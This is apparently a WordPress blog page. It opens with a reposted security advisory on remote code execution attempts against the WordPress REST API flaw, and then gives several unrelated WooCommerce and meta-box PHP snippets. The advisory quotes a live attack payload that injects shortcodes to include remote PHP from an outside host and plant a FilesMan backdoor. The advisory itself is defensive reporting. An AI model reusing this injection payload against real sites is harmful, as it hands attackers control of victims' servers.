RCE Attempts Against the Latest WordPress REST API Vulnerability

We are starting to see remote command execution (RCE) attempts trying to exploit the latest WordPress REST API Vulnerability.

These RCE attempts started today after a few days of attackers (mostly defacers) rushing to vandalize as many pages as they could. The RCE attempts we are seeing in the wild do not affect every WordPress sites, only the ones using plugins that allow for PHP execution from within posts and pages.

Attacks in the Wild

The attackers in the wild are trying to exploit sites that have plugins like the Insert PHP (100k+ installs), Exec-PHP (100k+ installs) and similar installed plugins. These plugins, allow users to insert PHP code directly into the posts as a way to make customizations easier. Coupled with this vulnerability, it allows the attackers to execute PHP code when injecting their content into the database.

For example, this first campaign we are seeing is trying to inject a PHP include to content of different posts to see if it gets executed. This is the payload:

content:"[insert_php] include('http[:]//acommeamour.fr/tmp/xx.php'); [/insert_php]
[php] include('http[:]//acommeamour.fr/tmp/xx.php'); [/php]",
"id":"61a"}

It tries to leverage the format parsed by these plugins to include code from acommeamour.fr (likely a compromised site) and executes a malicious code to inject a backdoor into the file. In the current format, it downloads a FilesMan backdoor and hides it into /wp-content/uploads/

Monetization Strategy

First of all, if you have any of these plugins, we recommend disabling them. We believe that PHP code should be run within a plugin or theme. It should not be run directly from the posts.

Second, it seems attackers are starting to think of ways to monetize this vulnerability. Defacements don’t offer economic returns, so that will likely die soon. What will remain are attempts to execute commands (RCE) as it gives the attackers full control of a site – and offers multiple ways to monetize – and SPAM SEO / affiliate link / ad injections. We are starting to see them being attempted on a few sites, and that will likely be the direction this vulnerability will be misused in the coming days, weeks and possibly months.

Third – update to WordPress 4.7.2 now!

Websites behind the Sucuri Firewall are protected against this threat via Virtual Hardening / Patching.

Ref: https://blog.sucuri.net/

Top 5 useful woocommerce snippets

1) Custom currency symbol with settings in Woocommerce 

Copy the below code and paste it in your theme ->  function.php

<?php
add_filter( 'woocommerce_currencies', 'add_my_currency' ); function add_my_currency( $currencies ) {     $currencies['UG'] = __( 'Currency name', 'woocommerce' );     return $currencies;}
add_filter('woocommerce_currency_symbol', 'add_my_currency_symbol', 10, 2); function add_my_currency_symbol( $currency_symbol, $currency ) {     switch( $currency ) {         case 'UG': $currency_symbol = 'Ug'; break;     }     return $currency_symbol;}
?>

2) Display Cart Items with totals in your theme

Use the below code in your theme files.

<?php
global $woocommerce;
$qty = $woocommerce->cart->get_cart_contents_count();
$total = $woocommerce->cart->get_cart_total();
$cart_url = $woocommerce->cart->get_cart_url();
?>

<div class="quantinty"><?php echo $qty; ?></div>
<div class="totals"><?php echo $total; ?></div>

<a class="cart_items" href="<?php echo $cart_url ?>">
<?php echo sprintf (_n( '%d item', '%d items', $qty ), $qty; ?> -
<?php echo $total ?> </a>

3) Custom country to the list

Copy the below code and paste it in your theme ->  function.php

<?php
function custom_country( $country ) {
$country["BV"] = 'Bouvet Island';
     return $country;
}
add_filter( 'woocommerce_countries', 'custom_country', 10, 1 );
?>

4) Replace add to cart button text

Copy the below code and paste it in your theme ->  function.php

<?php
//1. For Single Page
add_filter( 'woocommerce_product_single_add_to_cart_text', 'woo_custom_cart_button_text' );
function woo_custom_cart_button_text() {
return __( 'Custom Text', 'woocommerce' );
 }

//2. For Loop Page
add_filter( 'woocommerce_product_add_to_cart_text', 'woo_loop_custom_cart_button_text' );
function woo_loop_custom_cart_button_text() {
return __( 'Custom Text', 'woocommerce' );
}
?>

5) Complete list of Shortcodes

Cart: [woocommerce_cart]
Checkout: [woocommerce_checkout]
Order Tracking: [woocommerce_order_tracking]
My Account: [woocommerce_my_account]

Recent Products: [recent_products per_page="8" columns="2"]
Featured Products: [featured_products per_page="8" columns="2"]
Single Product: [product id="1254"]

Multiple Products: [products ids="2544, 2555, 34785, 4144, 5547"]
Add to cart  Button of a single Product: [add_to_cart id="1254"]
Add to cart  URL of a single Product: [add_to_cart_url id="1254"]
Product Category:[product_category category="catname"]

Single page of a Product: [product_page id="1254"]

Sale Products: [sale_products per_page="8"]
Best-Selling Products: [best_selling_products per_page="8"]
Related Products: [related_products per_page="8"]
Top Rated Products: [top_rated_products per_page="8"]

Woocommerce - Set Minimum quantity for products in cart

Restricting user to buy minimum quantity for products in woo-commerce is a pretty cool thing, we can achieve it by following the below steps

Step1:

1. Collect the product ids for which you wanted to restrict the quantity during checkout, store them in a array

<?php

$pd_min_quantity= array( 

array( 'id' => 3587, 'min' => 99),

array( 'id' => 2554, 'min' => 87),

array( 'id' => 5587, 'min' => 52),

array( 'id' => 4488, 'min' => 40),

       array( 'id' => 2555, 'min' => 80),

);

?>

Step2:

Add Following code to your themes - > functions.php

Note: don't forget to update your product ids and quantity 

<?php

add_action( 'woocommerce_check_cart_items', 'restrict_product_quantity' );

function restrict_product_quantity() {

if( is_cart() || is_checkout() ) {

global $woocommerce;

$pd_min_quantity= array(

array( 'id' => 3587, 'min' => 99),

array( 'id' => 2554, 'min' => 87),

array( 'id' => 5587, 'min' => 52),

array( 'id' => 4488, 'min' => 40),

       array( 'id' => 2555, 'min' => 80),

);

$i = 0;

$odd_prod = array();

foreach( $woocommerce->cart->cart_contents as $pd_cart ) {

foreach( $pd_min_quantity as $pd_quantity ) {

if( $pd_quantity['id'] == $pd_cart['product_id'] ) {

if( $pd_cart['quantity'] < $pd_quantity['min'] ) {

$odd_prod[$i]['id'] = $pd_cart['product_id'];

$odd_prod[$i]['in_cart'] = $pd_cart['quantity'];

$odd_prod[$i]['min_req'] = $pd_quantity['min'];

}

}

}

$i++;

}

if( is_array( $odd_prod) && count( $odd_prod ) > 1 ) {

$message = '<strong>Minimum quantity per product should be added.</strong><br />';

foreach( $odd_prod as $odd_prods ) {

$message .= get_the_title( $odd_prods['id'] ) .' requires a minimum quantity of '

. $odd_prods['min_req'] 

.'. You currently have: '. $odd_prods['in_cart'] .'.<br />';

}

wc_add_notice( $message, 'error' );

}

}

}

?>

Step3:

Done!!

Woocommerce - Restrict user to add products into cart with particular combination

In Woocommerce if we need to Restrict user to add products  into cart  with  particular combination, we have to follow few steps.

<?php

// Step1: 

function aelia_get_cart_contents() {
  $cart_contents = array();
  $cart = WC()->session->get( 'cart', null );
   if ( is_null( $cart ) && ( $saved_cart = get_user_meta( get_current_user_id(), '_woocommerce_persistent_cart', true ) ) ) {
    $cart = $saved_cart['cart'];
  } elseif ( is_null( $cart ) ) {
    $cart = array();
  }

  if ( is_array( $cart ) ) {
    foreach ( $cart as $key => $values ) {
      $_product = wc_get_product( $values['variation_id'] ? $values['variation_id'] : $values['product_id'] );

      if ( ! empty( $_product ) && $_product->exists() && $values['quantity'] > 0 ) {
        if ( $_product->is_purchasable() ) {
         $session_data = array_merge( $values, array( 'data' => $_product ) );
          $cart_contents[ $key ] = apply_filters( 'woocommerce_get_cart_item_from_session', $session_data, $values, $key );
        }
      }
    }
  }
  return $cart_contents;
}

// Step2:

add_action('wp_loaded', function() {
    if(!is_object(WC()->session)) {
    return;
  }

  global $allowed_cart_items;
  // I am adding products with ID 5395,5138,5046,5137,5134,5133,5131 as a combination.
  global $restricted_cart_items;
  $restricted_cart_items = array(5395,5138,5046,5137,5134,5133,5131);

  foreach(aelia_get_cart_contents() as $item) {
    if(in_array($item['data']->id, $restricted_cart_items)) {
      $allowed_cart_items[] = $item['data']->id;
    }
  }

  // Step3:

  add_filter('woocommerce_is_purchasable', function($is_purchasable, $product) {
    global $restricted_cart_items;
    global $allowed_cart_items;

    if(!empty($allowed_cart_items)) {
           $is_purchasable = in_array($product->id, $allowed_cart_items) || in_array($product->id, $restricted_cart_items);
    }
    return $is_purchasable;
  }, 10, 2);
}, 10);

// Step4

add_filter('woocommerce_get_price_html', function($price_html, $product) {
  if(!$product->is_purchasable() && is_product()) {
    $price_html .= '<p>' . __('<h3 style="font-weight:bold;">This product cannot be added to cart  with the combination of  <span style="color:#d06569">Product / Category Name</span>. Remove other items from cart and try purchasing it.</h3>', 'woocommerce') . '</p>';
  }
  return $price_html;
}, 10, 2);

// Step5

// Done!!
?>

How to Create Custom Meta box in Wordpress

To create a Custom Meta box in wordpress follow below steps

Step1: Add this to your theme "functions.php"

<?php

define('MY_WORDPRESS_FOLDER',$_SERVER['DOCUMENT_ROOT']);
define('MY_THEME_FOLDER',str_replace('\\','/',dirname(__FILE__)));
define('MY_THEME_PATH','/' . substr(MY_THEME_FOLDER,stripos(MY_THEME_FOLDER,'wp-content')));

add_action('admin_init','my_meta_init');

function my_meta_init()
{
wp_enqueue_style('my_meta_css', MY_THEME_PATH . '/custom/meta.css');

foreach (array('post','page') as $type)
{
add_meta_box('my_all_meta', 'My Custom Meta Box', 'my_meta_setup', $type, 'normal', 'high');
}

add_action('save_post','my_meta_save');
}

function my_meta_setup()
{
global $post;

$meta = get_post_meta($post->ID,'_my_meta',TRUE);

include(MY_THEME_FOLDER . '/custom/meta.php');

echo '<input type="hidden" name="my_meta_noncename" value="' . wp_create_nonce(__FILE__) . '" />';
}

function my_meta_save($post_id)
{
if (!wp_verify_nonce($_POST['my_meta_noncename'],__FILE__)) return $post_id;

if ($_POST['post_type'] == 'page')
{
if (!current_user_can('edit_page', $post_id)) return $post_id;
}
else
{
if (!current_user_can('edit_post', $post_id)) return $post_id;
}

$current_data = get_post_meta($post_id, '_my_meta', TRUE);

$new_data = $_POST['_my_meta'];

my_meta_clean($new_data);

if ($current_data)
{
if (is_null($new_data)) delete_post_meta($post_id,'_my_meta');
else update_post_meta($post_id,'_my_meta',$new_data);
}
elseif (!is_null($new_data))
{
add_post_meta($post_id,'_my_meta',$new_data,TRUE);
}

return $post_id;
}

function my_meta_clean(&$arr)
{
if (is_array($arr))
{
foreach ($arr as $i => $v)
{
if (is_array($arr[$i]))
{
my_meta_clean($arr[$i]);

if (!count($arr[$i]))
{
unset($arr[$i]);
}
}
else
{
if (trim($arr[$i]) == '')
{
unset($arr[$i]);
}
}
}

if (!count($arr))
{
$arr = NULL;
}
}
}

?>